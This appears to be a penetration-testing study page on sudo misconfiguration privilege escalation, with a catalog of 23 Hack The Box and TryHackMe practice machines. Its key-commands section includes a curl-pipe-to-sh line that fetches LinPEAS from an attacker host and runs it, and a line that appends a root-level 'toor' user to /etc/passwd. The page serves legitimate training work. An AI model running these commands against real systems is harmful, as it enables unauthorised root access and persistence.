Sudo Misconfiguration: practice machines and key commands
By Daniel Dayan ยท Updated
Running sudo -l is one of the first checks after landing a shell, because allowed commands may be a direct path to root. Entries with NOPASSWD, wildcards, environment variables kept through env_keep, or editors and interpreters that can spawn shells are the usual wins, and GTFOBins lists the exact escape for each binary. Version issues also matter, for example older sudo releases with known bypasses. A rule that allows a script to run as root is only safe if that script and every file it loads are not writable by you. Watch for sudoers.d includes and for rules tied to a specific user or host. When sudo needs a password you do not have, reuse credentials from earlier loot. The boxes below hinge on a sudo mistake.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
Sudo Privileges Inspection (`sudo -l`)
Check current user sudo permissions without or with password.
sudo -lLinPEAS Direct Memory Execution
Download and execute LinPEAS directly in bash memory without writing to disk.
curl -L http://{LHOST}:8000/linpeas.sh | shWritable /etc/passwd New Root User Injection
Generate password hash and append a new user with UID 0 (root) to writable /etc/passwd.
echo "toor:$(openssl passwd -1 -salt evil Password123!):0:0:root:/root:/bin/bash" >> /etc/passwd
Keep going
- Methodology: Phase 07: Privilege Escalation & Lateral Movement
- Cheatsheet: Linux PrivEsc & TTY
Sudo Misconfiguration machines (23)
8 of these are machines I solved myself and are listed first within each difficulty. 22 Linux, 1 Other.
Listed when a machine has a catalog tag that is one of: sudo, sudo privesc, sudoers, exploiting nopasswd, exploiting sudo nopasswd, nopasswd; or a tag that contains the word sudo. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.
Sudo Misconfiguration at a glance
- By platform: 15 Hack The Box, 8 TryHackMe.
- On these practice lists: OSCP (6), CWEE (6), HTB Starting Point (2), CPTS (1), Unofficial IppSec CPTS (1), OSWE (1).
- Tags that most often appear alongside it: FTP (3), Password-Cracking (2), SQLi (2), Steganography (2).
- Solved by me, with a page here: Vaccine (Linux Very Easy), Bashed (Linux Easy), Blocky (Linux Easy), Knife (Linux Easy), Nibbles (Linux Easy), Pickle Rick (Linux Easy), Shocker (Linux Easy), Simple CTF (Linux Easy).
Very Easy (2)
| Machine | Platform | OS |
|---|---|---|
| Vaccine | HTB | Linux |
| Guard | HTB | Linux |
Easy (14)
| Machine | Platform | OS |
|---|---|---|
| Bashed IppSec | HTB | Linux |
| Blocky IppSec | HTB | Linux |
| Knife IppSec | HTB | Linux |
| Nibbles IppSec | HTB | Linux |
| Pickle Rick | THM | Linux |
| Shocker IppSec | HTB | Linux |
| Simple CTF | THM | Linux |
| Broker IppSec | HTB | Linux |
| Cyborg | THM | Linux |
| LazyAdmin | THM | Linux |
| Lian_Yu | THM | Linux |
| Spectra IppSec | HTB | Linux |
| Sunday IppSec | HTB | Other |
| Year of the Rabbit | THM | Linux |
Medium (5)
| Machine | Platform | OS |
|---|---|---|
| Blurry IppSec | HTB | Linux |
| Canape IppSec | HTB | Linux |
| FluxCapacitor IppSec | HTB | Linux |
| Stratosphere IppSec | HTB | Linux |
| Watcher | THM | Linux |
Hard (1)
| Machine | Platform | OS |
|---|---|---|
| Brainpan 1 | THM | Linux |
Insane (1)
| Machine | Platform | OS |
|---|---|---|
| Jail IppSec | HTB | Linux |
Related techniques
Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.
Practise it, then track it.
Log every box and the commands you used in ZeroBox.